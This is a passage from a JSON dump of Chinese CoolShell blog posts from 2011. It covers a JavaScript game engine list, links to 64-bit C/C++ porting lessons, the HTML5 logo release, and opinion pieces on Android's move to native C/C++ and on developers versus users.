    "content": "---\nlayout: post\ntitle: JS游戏引擎列表\ndate: 2011/1/20/ 2:43:8\nupdated: 2011/1/20/ 2:43:8\nstatus: publish\npublished: true\ntype: post\n---\n\n这里有一个[网址](https://gist.github.com/768272)收集了关于JS游戏引擎开发库的一个列表，转过来。关于使用JS和HTML5做的一些小游戏，可参见《[HTML5 小游戏展示](https://coolshell.cn/articles/2998.html)》\n\n\n#### 游戏引擎\n\n\n\n\n| Name | Latest Release | License | Type | Notes |\n| --- | --- | --- | --- | --- |\n| [The Render Engine](http://renderengine.com/) | 1.5.3 | MIT |  | 跨浏览器; 大规模 API; 开源. [2](http://renderengine.com/features.php) |\n| [gameQuery](http://gamequery.onaluf.org/) | 0.5.1 | CC BY-SA 2.5 |  | 和 jQuery 一起使用 |\n| [gTile](http://game.tyler-dewitt.com/) | 0.0.1 |  | Tile based |  |\n| [Akihabara](http://www.kesiev.com/akihabara/) | 1.3 | GPL2/MIT | Classic Repro | 基于JS+HTML5的街机风格的游戏 [3](https://github.com/kesiev/akihabara) |\n| [The Javascript 2D Game Engine](http://www.lukewallin.co.uk/?go=engine) |  | GPL |  | 注重于重力、物理、碰撞检测方面，使用HTML5 Canvas 和IE的ExplorerCanvas 低CPU消耗. [4](http://www.lukewallin.co.uk/?go=engine) |\n| [The GMP Javascript Game Engine](http://gogomakeplay.com/gmp) | 1.7.4 (2010-10-31) | GPL2/MIT |  | 注重于数度的操作简化，”easy to learn and use” [5](http://gogomakeplay.com/gmp) |\n| [Crafty](http://craftyjs.com/) | 0.1 | GPL/MIT |  | 轻量级和模块化。 [6](http://craftyjs.com/) |\n| [Effect Games](http://www.effectgames.com/effect/) |  |  |  |  |\n| [PropulsionJS](http://www.propulsionjs.com/) | 1.1 | MIT |  | 使用 HTML5 Canvas. [7](http://www.propulsionjs.com/) |\n| [Flax](http://flax.ie/category/flax-game-engine/) |  | Apache 2.0 |  | 还没有released。使用 GWT 和 HTML5。关注于Linux和Mac OS上的Web游戏开发。[8](http://flax.ie/about/) |\n| [j5g3](https://github.com/giancarlo/j5g3) |  | GPLv3 |  | 还在开发过程中 |\n| [cssgameengine](http://sites.google.com/site/cssgameengine/) |  |  |  | 用于初学者。 |\n\n\n\n\n\n|  |  |  |  |  |\n| --- | --- | --- | --- | --- |\n| [jsGameSoup](http://mccormick.cx/projects/jsGameSoup/) | v74 | LGPLv3 |  |  |\n| [Javascript Gamelib](http://www.sean.co.uk/a/webdesign/javascript_gamelib/javascript_gamelib.shtm) | 2.10 |  |  |  |\n| [Sarien.net interpreter](http://www.sarien.net/source) |  | GPL | 2D Adventure |  |\n| [jGen](http://code.google.com/p/jgen/) |  |  | Isometric |  |\n| [Isogenic Engine](http://www.isogenicengine.com/home/) |  |  | Isometric |  |\n| [GammaJS](http://gammajs.org/) | 1.0 | MIT | 2.5D Platform |  |\n| [Tom’s Halls](http://www.codeproject.com/KB/scripting/TomsHallsJavascriptGame.aspx) | 3.0 |  | Platform |  |\n| [Diggy](https://github.com/lostdecade/diggy) |  | BSD |  | 基于 DHTML, 正在暂停中 |\n| [Impact](http://impactjs.com/) |  | Commercial ($99) | 2D |  |\n| [Rocket Engine](http://rocketpack.fi/engine/) |  | Commercial |  |  |\n| [Aves](http://www.wonderlandblog.com/wonderland/2010/04/aves-an-html-javascript-game-engine.html) |  | Commercial? |  |  |\n| [Rosewood](https://github.com/vonkow/Rosewood) |  |  | 2D |  |\n| [Cocos2D](https://github.com/RyanWilliams/cocos2d-javascript) |  | BSD | 2D |  |\n| [GameJS](http://gamejs.org/) |  | MIT | 2D | CommonJs; 可以和 RingoJs server 整合，很像 PyGame; 仅支持Canvas; |\n| [xc.js](http://www.getxc.org/) |  | BSD | 2D |  |\n| [vegalib](http://code.google.com/p/vegalib/) |  |  | LPGL |  |\n| [ClanFX](http://sourceforge.net/projects/clanfx/) | 0.0.1 |  | Tile based |  |\n| [Canvex](http://canvex.lazyilluminati.com/) |  | FPS |  |  |\n| [bdge](https://github.com/Osmose/bdge) |  |  |  | [Demo](https://github.com/Osmose/Sub-C-Adventure) |\n| [js-verge](https://github.com/mcgrue/js-verge) |  |  | 2D | [Demo](http://spriteright.com/) |\n| [FlixelJS](https://github.com/BillyWM/FlixelJS) |  |  | 2D | [Demo](http://billy.wenge-murphy.com/flixel-js/testgame.html) Port of Flixel (Flash) to JS. [Announcement thread](http://flixel.org/forums/index.php?topic=2859.0). |\n| [Unity3D](http://unity3d.com/) |  |  | Commercial (free version too) | JS backend |\n\n\n#### 3D 引擎\n\n\n相比起成熟的游戏引擎来说，这些引擎没有包括诸如AI、声音、游戏逻辑、网络等等功能，不过，你可以使用别的一些JS库来辅助完成这些功能。\n\n\n\n\n| Name | Latest Release | License | Notes |\n| --- | --- | --- | --- |\n| [Pre3d](http://deanm.github.com/pre3d/) |  |  | [Demo](http://www.chromeexperiments.com/detail/monster/) |\n| [three.js](https://github.com/mrdoob/three.js) |  | MIT |  |\n| [C3DL](http://www.c3dl.org/) | 2.1 (?) | MIT |  |\n| [CopperLicht](http://www.ambiera.com/copperlicht/) | 1.3.2 (?) |  |  |\n| [JS3D](http://www.wxs.ca/js3d/) | 0.1a (2007-02-05) | GPL |  |\n| [Sandy 3D](http://www.flashsandy.org/) |  |  | 由Haxe编辑成 JS |\n| [O3D](http://code.google.com/p/o3d/) |  | BSD |  |\n| [GLGE](http://www.glge.org/) | 0.5.2 |  |  |\n| [SpiderGL](http://spidergl.org/) |  |  |  |\n\n\n#### 碰撞检测\n\n\n* <http://code.google.com/p/box2dweb/> – 由 [Box2D](http://www.box2d.org/) 移植成 JS\n\n\n#### 动画\n\n\n\n\n| Name | Latest Release | License | Notes |\n| --- | --- | --- | --- |\n| [sprite.js](https://github.com/batiste/sprite.js) |  | [VIEW](https://github.com/batiste/sprite.js/blob/master/LICENSE) | Created with goal of having common JS framework for dsktop and web. [1](http://www.htmlgoodies.com/daily_news/article.php/417990) |\n\n\n#### 声音\n\n\n* [SoundManager2](http://www.schillmania.com/projects/soundmanager2/)\n\n\n#### 图形\n\n\n### Canvas\n\n\n\n\n| Name | Size (KB) | License | IE | SVG | Docs | Notes |\n| --- | --- | --- | --- | --- | --- | --- |\n| [canto.js](http://code.google.com/p/canto-js/) | 56 |  |  |  |  |  |\n| [fabric.js](http://github.com/kangax/fabric.js/) | 97 |  | yes | yes | yes | [Demo](http://kangax.github.com/fabric.js/test/demo/) |\n| [gury.js](http://github.com/rsandor/gury/blob/master/gury.js) | 10 |  |  |  | yes |  |\n| [CAKE](http://code.google.com/p/cakejs/) | 211 |  |  |  |  |  |\n| [Mootools Canvas Library (MCL)](http://forvar.de/js/mcl/) | 8 |  |  |  |  |  |\n| [HTML5 Canvas Library](https://canvastoolkit.codeplex.com/) | 12 |  |  |  |  |  |\n| [Layered Canvas Library (LCL)](http://code.google.com/p/layered-canvas-library/) | 21 |  |  |  |  |  |\n| [Artisan.js](http://github.com/davidbrooks/Artisan) | 17 |  |  |  |  |  |\n| [canvg](http://code.google.com/p/canvg/) | 78.3 |  |  | yes | no |  |\n| [burst](http://github.com/F1LT3R/burst) | 56 |  |  |  | yes | 没有维护了 |\n| [easel.js](http://easeljs.com/) | 33 | MIT | no | no | yes | 尝试像Flash的DisplayList 一样在 Canvas 上创建图形。 |\n| [processing.js](http://processingjs.org/) |  |  |  |  |  |  |\n| [toxiclibsjs](http://github.com/hapticdata/toxiclibsjs) |  | LPGL2.1 |  |  |  | 和 processing.js 结合和很好 |\n| [CAAT](https://github.com/hyperandroid/CAAT/) |  | MIT |  |  |  |  |\n| [Unveil.js](https://github.com/michael/unveil) |  |  |  |  |  |  |\n| [doodle.js](https://github.com/biilly/doodle-js) |  | BSD |  |  |  |  |\n\n\n注意，文件尺寸比较并不一定准确，因为有些lib并没有压缩过。\n\n\n* [Stackblur](http://www.quasimondo.com/StackBlurForCanvas/StackBlurDemo.html) – 在 Canvas 上实现模糊的效果\n* [Pixastic](http://www.pixastic.com/) – 简单的图片操作\n* [Raphaël](http://raphaeljs.com/) – 进行一些矢量图以及一些变化操作，能看[这篇文章](https://coolshell.cn/articles/3107.html)\n* [CamanJS](https://github.com/meltingice/CamanJS) – Canvas上的一些滤镜\n* [CanvasContext2DWrapper](https://github.com/millermedeiros/CanvasContext2DWrapper) – Method chaining for Canvas\n\n\n### WebGL\n\n\n* [WebGLU](https://github.com/onegeek/webglu) – WebGL helpers\n\n\n### Color\n\n\n* [color.js](https://github.com/eligrey/color.js) – 颜色管理工具。 MIT\n\n\n#### Math\n\n\n* [Sylvester](http://sylvester.jcoglan.com/) – 数组和矩阵\n\n\n#### 其它\n\n\n* [PlayMyCode](http://www.playmycode.com/) – 在线游戏社区。使用 Quby (像Ruby) 编译成JavaScript.\n* [Sphere RPG Engine](http://www.spheredev.org/) – 为 RPG 游戏设计。使用 JavaScript\n* [playtomic](http://playtomic.com/) – Commercial service providing analytics, leaderboards etc. services for games. Provides HTML5/JS API in addition to AS2/AS3 ones.\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\nThe post [JS游戏引擎列表](https://coolshell.cn/articles/3516.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-21 64位平台C_C++开发注意事项.md",
    "content": "---\nlayout: post\ntitle: 64位平台C/C++开发注意事项\ndate: 2011/1/21/ 0:50:49\nupdated: 2011/1/21/ 0:50:49\nstatus: publish\npublished: true\ntype: post\n---\n\n在<http://www.viva64.com/en/l/>上例出了28个在64位平台上使用C/C++开发的注意事项，对于进入64位时代的程序员应该去看看这28个事项，这些英文读物对于有C/C++功底的朋友读起来应该并不难，我估计大约20-30分钟可以精读完一篇（或者更快），下面是这28个注意事项的列表。相信对大家一点有帮助。\n\n\n* [Lesson 01](http://www.viva64.com/en/l/0001/). What 64-bit systems are.\n* [Lesson 02](http://www.viva64.com/en/l/0002/). Support of 32-bit applications.\n* [Lesson 03](http://www.viva64.com/en/l/0003/). Porting code to 64-bit systems. The pros and cons.\n* [Lesson 04](http://www.viva64.com/en/l/0004/). Creating the 64-bit configuration.\n* [Lesson 05](http://www.viva64.com/en/l/0005/). Building a 64-bit application.\n* [Lesson 06](http://www.viva64.com/en/l/0006/). Errors in 64-bit code.\n* [Lesson 07](http://www.viva64.com/en/l/0007/). The issues of detecting 64-bit errors.\n* [Lesson 08](http://www.viva64.com/en/l/0008/). Static analysis for detecting 64-bit errors.\n* [Lesson 09](http://www.viva64.com/en/l/0009/). Pattern 01. Magic numbers.\n* [Lesson 10](http://www.viva64.com/en/l/0010/). Pattern 02. Functions with variable number of arguments.\n* [Lesson 11](http://www.viva64.com/en/l/0011/). Pattern 03. Shift operations.\n* [Lesson 12](http://www.viva64.com/en/l/0012/). Pattern 04. Virtual functions.\n* [Lesson 13](http://www.viva64.com/en/l/0013/). Pattern 05. Address arithmetic.\n* [Lesson 14](http://www.viva64.com/en/l/0014/). Pattern 06. Changing an array’s type.\n* [Lesson 15](http://www.viva64.com/en/l/0015/). Pattern 07. Pointer packing.\n* [Lesson 16](http://www.viva64.com/en/l/0016/). Pattern 08. Memsize-types in unions.\n* [Lesson 17](http://www.viva64.com/en/l/0017/). Pattern 09. Mixed arithmetic.\n* [Lesson 18](http://www.viva64.com/en/l/0018/). Pattern 10. Storage of integer values in double.\n* [Lesson 19](http://www.viva64.com/en/l/0019/). Pattern 11. Serialization and data interchange.\n* [Lesson 20](http://www.viva64.com/en/l/0020/). Pattern 12. Exceptions.\n* [Lesson 21](http://www.viva64.com/en/l/0021/). Pattern 13. Data alignment.\n* [Lesson 22](http://www.viva64.com/en/l/0022/). Pattern 14. Overloaded functions.\n* [Lesson 23](http://www.viva64.com/en/l/0023/). Pattern 15. Growth of structures’ sizes.\n* [Lesson 24](http://www.viva64.com/en/l/0024/). Phantom errors.\n* [Lesson 25](http://www.viva64.com/en/l/0025/). Working with patterns of 64-bit errors in practice.\n* [Lesson 26](http://www.viva64.com/en/l/0026/). Optimization of 64-bit programs.\n* [Lesson 27](http://www.viva64.com/en/l/0027/). Peculiarities of creating installers for a 64-bit environment.\n* [Lesson 28](http://www.viva64.com/en/l/0028/). Estimating the cost of 64-bit migration of C/C++ applications.\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\nThe post [64位平台C/C++开发注意事项](https://coolshell.cn/articles/3512.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-23 HTML5 logo 发布.md",
    "content": "---\nlayout: post\ntitle: HTML5 logo 发布\ndate: 2011/1/23/ 0:47:19\nupdated: 2011/1/23/ 0:47:19\nstatus: publish\npublished: true\ntype: post\n---\n\n\n2011年1月19日，W3C发布了HTML5的log，打开[W3C的页面](http://www.w3.org/html/logo/)，下在的图片印入眼前。我的第一感觉，就像是看到了小时候看的八一电影制片产的电影。这分明是号召全世界的无产Web程序员们团结起来，不畏艰难，不怕牺牲，一定要把HTML5的革命事业进行到底！![](../wp-content/uploads/2011/01/html5-logo-1-300x178.jpg \"HTML 5 Logo\")\n\n\n所以，请各位Web程序员不但在你们的HTML5的网页上加上下面的徽章（关于各个徽章的含义，请参看[这里](http://www.elviscai.com/view/html5-logo-released/)）\n\n\n\n[http://www.w3.org/html/logo/badge/html5-badge-h-connectivity-css3-device-graphics-multimedia-performance-semantics-storage.png \"HTML5 Powered with Connectivity / Realtime, CSS3 / Styling, Device Access, Graphics, 3D & Effects, Multimedia, Performance & Integration, Semantics, and Offline & Storage\"](http://www.w3.org/html/logo/ \"W3C HTML5 Logo\")\n\n\n更重要的是，在你们的代码里加上这样的注释：\n\n\n\n\n```\n\n<!--\n.... This website is built in HTML5 ....\n...       ..... ......... ....... ......\n..     MM  MM NMMMMM MMM MMM..MM  . ....\n.      MMMMMM...MM ..MMMMMMM..MM. ......\n.      MM77MM...MM . MM.M.MM..MM........\n.      MM  MM   MM   MM.  MM..MMMMM.....\n.             . .   ....................\n. . ================================....\n.   7777777777777777777777777777777+....\n.   7777777777777777IIIIIIIIIIII777.....\n.   7777777777777777I77777I7I777777.....\n.   7777777777777777I777I7I7I777777.....\n. ..777777,,,,,,,,,,.........,7I777.....\n. ..=77777,,,,,,,,,,..   .. .+II777...\n  ...77777,,,,777777777777777II7777.....\n  . .77777,,,,777777IIIIIIIIIIII77? ..\n  ...77777,,,,777777IIIIIIIIIIII77:.....\n  ...77777:,,,,,,,,,        .I7777.\n  ...77777?,,,,,,,,,... ... .II777. ...\n  .. 777777777777777IIII=   .II777.  .\n  .. I77777777777777IIII....~II777.. .\n  ...,77777,,,,77777IIII    III77$   .\n. ....77777,,,,77777IIII    III777\n. ....77777,,,,,,,,,... ... III77,. ...\n. ....77777,,,,,,,,,       .III77.\n  ..  7777777777,,,,...=7IIIII777.. ....\n  ....$7777777777777IIIIIIIIII777    .\n  ....I7777777777777IIIII7I777777.. ....\n  .... .7777777777777777777777$~... ....\n  ...     ...~$777777777$7. ....... ....\n  ...  .  .........+....................\n  ...     ............ .  . .. .  . .. .\n-->\n\n```\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [![那些曾伴我走过编程之路的软件](../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png)](https://coolshell.cn/articles/5576.html)[那些曾伴我走过编程之路的软件](https://coolshell.cn/articles/5576.html)\nThe post [HTML5 logo 发布](https://coolshell.cn/articles/3561.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn).\n\n"
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-24 Android将允许纯C_C++开发应用.md",
    "content": "---\nlayout: post\ntitle: Android将允许纯C/C++开发应用\ndate: 2011/1/24/ 0:39:50\nupdated: 2011/1/24/ 0:39:50\nstatus: publish\npublished: true\ntype: post\n---\n\n对于Android，长期以来，我一直有两件事搞不懂，\n\n\n* 一个是为什么Android要选用Java。对于嵌入式开发，CPU和内存都很宝贵，居然还使用Java。\n* 一个是为什么Android的[开发站点](http://developer.android.com)要被墙。这只是一个技术网站啊。\n\n\n最近，在一个Android[开发人员的Blog](http://android-developers.blogspot.com/2011/01/gingerbread-ndk-awesomeness.html)上证实了在NDK r5使用C/C++进行开发。（以前，Android 对C/C++开发的支持仅限于用C/C++开发动态链接库，然后在Java中以JNI的形式来调用）现在，你可以用纯C/C++开发了（参看下面的程序代码）。还有一段[完整的代码示例在这里](http://developer.android.com/reference/android/app/NativeActivity.html)（墙，还有XML的manifest，[又见XML](https://coolshell.cn/articles/3498.html)）。看来，Google终于明白为什么使用Android的手机（如：Moto, 三星、索爱和HTC）的触摸体验远远不及object C搞出来的iPhone。\n\n\n\n```\nvoid android_main(struct android_app* state) {\n    // Make sure glue isn't stripped.\n    app_dummy();\n\n    // loop waiting for stuff to do.\n    while (1) {\n        // Read all pending events.\n        int ident;\n        int events;\n        struct android_poll_source* source;\n\n        // Read events and draw a frame of animation.\n        if ((ident = ALooper_pollAll(0, NULL, &events,\n                (void**)&source)) >= 0) {\n            // Process this event.\n            if (source != NULL) {\n                source->process(state, source);\n            }\n        }\n        // draw a frame of animation\n        bringTheAwesome();\n    }\n}\n```\n\n我个人估计有两个原因为什么Google回头支持C/C++了，\n\n\n1. Google开始觉得自己整的JVM在性能上可以全面超越传统JVM，并接近C/C++，现在发现搞不定了。\n2. Google发现Java的程序员不像C/C++程序员那样注重程序的性能和效率，开发App太耗CPU和内存。\n\n\n于是只好转回支持C/C++。**本来就是用C/C++写出来的Android嘛，居然不能用C/C++而只能用Java，真是太侮辱C/C++了**。最后，只希望Google并不是又整了一个C/C++版的Dalvik虚拟机，不然就真是侮辱到极点了。\n\n\n*——— 更新 2011/01/24 ————*\n\n\n谢谢大家对这篇文章的评论，挺有意思的，欢迎讨论，我把我的回复更新在下面。不一定对，仅供大家参考。\n\n\n\nJava的学习成本低，开放性好，兼容性也高，我不否认（但请大家也别否认C/C++的效率要比Java要高。而C/C++的程序员在普遍上要比Java程序员更注意性能和效率）。这应该是Andorid的一开始的定位，可见，Google关注的是程序员，而不是用户。现在转回支持C/C++必然有他的原因，如果不是性能上的原因。那么就请大家分析一下别的原因。\n\n\nAndroid本来就是用C/C++写的，要跨平台，首先是Android自己跨平台。就像Linux一样，跨平台的首先是Linux，应用开发人员只需要符合Linux的API就OK了。JVM带来的便利只是无需重新编译（就算是无需重新编译，对于开发人员来说也要去那个平台做测试的，因为不同的平台的JVM同样是不一样的）。在Native平台上编译的成本其实并不高，这个编译过程完全可以在部署的时候自动化。\n\n\n有人说，Java的开发成本比C/C++低，但这和语言没有关系，这其实和封装程度有关系。C/C++同样可以封装得很好。而且，C/C++的程序员比JAVA程序来说，天生就对内存和性能要敏感的多。这更有利于在手机这样资源不足的平台上做开发。\n\n\n尤其对于像手机这样的时尚终端来说，在用户体验上花的成本要比在开发人员上花成本要大得多的多。我以为，Google 的Android 更多的关注了程序员，而不是用户。而iPhone更多的关注了用户，也让程序员在开发过程上受到了一些牺牲（iPhone的做法是如果程序员的程序要上App Store，先交99美刀的代码审查费，就像申请美国签证一样），但是，iPhone的程序员虽然在开发的方便上有一些牺牲，但是从收入上却得到了保障。最新的消息是苹果已向开发者支付20亿美元 音乐供应商分成达120亿美元。在《[偷了世界的程序员](https://coolshell.cn/articles/3363.html)》中对此有充分的论述。\n\n\n最后，请大家思考 几个问题——\n\n\n* Android支持C/C++是为什么？如果是为了程序效率，那么这又是为什么？\n* 是开发人员更重要，还是用户更重要？（注意：我说的是“更重要”）\n* 在当今这种诸如iPhone或Andorid的开发模式下，是完全开放好，还是有适当的封闭好？\n* 开发和封闭的背后的商业驱动是什么？如何在开放和封闭中权衡用户、开发者、公司和版权商的利益？\n\n\n苹果公司给出了一个很不错的商业模式。\n\n\n（完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [![Google图片搜索下的的C String](../wp-content/uploads/2011/02/C_String-150x150.jpg)](https://coolshell.cn/articles/3806.html)[Google图片搜索下的的C String](https://coolshell.cn/articles/3806.html)\n* [![Google App Inventor ](../wp-content/uploads/2010/07/androidappinventor-150x150.jpg)](https://coolshell.cn/articles/2608.html)[Google App Inventor](https://coolshell.cn/articles/2608.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/1152.html)[关于 Chrome OS 的一些推论](https://coolshell.cn/articles/1152.html)\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\nThe post [Android将允许纯C/C++开发应用](https://coolshell.cn/articles/3549.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-25 食客还是大厨.md",
    "content": "---\nlayout: post\ntitle: 食客还是大厨\ndate: 2011/1/25/ 0:46:45\nupdated: 2011/1/25/ 0:46:45\nstatus: publish\npublished: true\ntype: post\n---\n\n****（请勿将本文用于商业用途，转载时注明作者和出处）****\n\n\n昨天我在文章《[Android将允许纯C/C++开发应用](https://coolshell.cn/articles/3549.html \"Android将允许纯C/C++开发应用\")》中发表了一些“很不中听”的观点，在我早晨上班刚打开电脑的时候，Gtalk上同学就发来了一条信息“android 为啥不用C/C++的原因是，android是开放式系统，为了能够跨平台。如果整回C/C++，那么windows mobile就是前车之鉴。”，于是和同学展了争论，同学的意思是Java是正确的，在硬件上的表现也将是很出色的，而且准入门槛低，最重要的是跨平台，跨平台是恶梦，而硬件上性能的问题在未来不是问题。iPhone是单一平台，所以不需要考虑跨平台。\n\n\n而在我的博文后面上也有许多的讨论，[在CSDN上](http://sd.csdn.net/a/20110124/290717.html)也有一些，大家可以去看看。**很多朋友都谈了谈为什么Java要比C++要好的理由，很多很多，大家可以去看看，我觉得挺好的**。不过后来，我更新了一下我的文章，留下了几个让大家思考的问题，我希望大家都看看。\n\n\n在这里，我想和大家说说技术之上的东西。\n\n\n——————————————正文分割线——————————————\n\n\n在绝大多数的评论中，我看到了大家都是站在技术开发者的角度在讨论。我想这和Google的Android犯的是同一个毛病，那就是其注重了“程序员”，而不是“用户”。就像是，Unix是为程序员开发，Java 也是为程序员的跨平台难问题开发，而Windows是为用户开发，iPhone也是为用户开发。也许，我们认为，改进了程序员的开发体验后，能迸发出程序员强大的生产力，进而增加满足用户需求的能力。不过，我想说的是，**这件事的初衷是好的，但事实上程序员是永远不懂用户的**。\n\n\n\n就像大家在讨论Android和Java的关系时，仅在谈跨平台，其实，跨平台关我最终用户屁事，开不开放并我最终用户P事。甚至，手机里装的是Linux还是Android还是Win Phone7还是Symbian，我做为一个用户我统统不关心，什么Java，还是C++，管我球事。作为一个程序员，如果你想不通这个观点的话，那你就去想想，你上饭馆点菜时，你会关心你点的菜是用什么样的锅碗瓢盆来盛，用什么样的燃料来做，什么样的刀来切，长在什么样的地，浇了什么样的肥……如果你还想不通的话，请看下面的例子：\n\n\n有一天，Google告诉所有的大厨，从我们发布Android开始，你们做菜就简单了，这是一个跨平台的烧菜系统，以后，作为厨师的你，做菜再也不用关心是用炒锅，蒸锅，煮锅，砂锅，电饭锅，平底锅，也不用关心做的是西餐还是中餐，我们推出的“虚拟锅”将屏蔽这些硬件和技术细节，以后，你面对的只有一口锅。当然，对于这个虚拟锅，你需要使用一种新型的叫Java锅勺。Java锅勺是强大的，容易的。（然而，过了几年后，他们却推出了传统锅勺）对此，一堆大厨，吵啊吵啊的，大家都在争论锅的好坏。\n\n\n来饭馆吃饭的食客说，关我屁事，都麻利儿地赶快给我上菜！给我好吃的！（到这里，我希望你看懂了，如果你没有看懂的话，就此打住，后面的对你就太深了）\n\n\n当然，用户并不单单只是着迷于好吃的，还有好的服务和体验！程序员们管这个叫用户体验。不过，如果餐馆都关注大厨们做菜的体验了，很有可能会怠慢了用户体验。餐馆负责人吆喝着，我们的餐馆是跨平台的，是开放的，就是说，任何都可以在我们这里做吃的买给你。食客们说，什么？什么人都可以在你的餐馆里做菜？你搞错没有啊？！餐馆负责人说，这样我们可以吸引到更好的更优秀的大厨，能做出更优秀的菜，有的菜品还是其它餐馆提供的。食客们说，那可以试试。然后，当食客上桌的时候，他们发现不同的菜居然有不同的服务，而且点菜的流程也不一样，不过大家都号称自己有最好的用户体验和服务。此时，食客们反而犹豫了。而各位大厨在厨房津津乐道着自己的做菜体验，而没有挣到一分钱。餐馆负责人还继续向食们说：我们有四个订餐电话，不同的订餐电话可以订到不同的菜，以后这样的订餐电话会更多。\n\n\n这个时候，一家叫iPhone的餐馆出现了，用户体验非常好，服务也很到位，食客们从入座点菜和进餐的过程都非常的流畅和风格统一，都相当的简单。食客们说，你们的这些菜品是怎么来的？iPhone餐厅负责人说，我们厨房对大厨们其实也是开放的，不过，厨房里的硬件和烹饪器具都是固定而不能修改的，而且，他们要想在这里做菜的话，每年得交给我们99美元的审核费用，我们严格他们的做菜工序，并保证用户的体验一致，我们的收入会和这些厨师分成，特别是那些有秘方的厨师将会分得更多。我们就像麦当劳一样，加盟我们的人有很多，不过我们所有店面的风格和用户点餐的过程完全一致，方便而服务优质。当然，我们的收费是高一点，但在我们这里不会出现任何的混乱。对于食客来说，虽然有人抱怨iPhone餐馆的只有一个服务生（单进程），但是，食客对该餐馆的服务表示很放心，体验也没得说，流畅完美简单一致。\n\n\n***—–更新：2011/01/26—–***\n\n\n跨不跨平台，开不开放，一点都不关用户的事，那是程序员的事。但用户的体验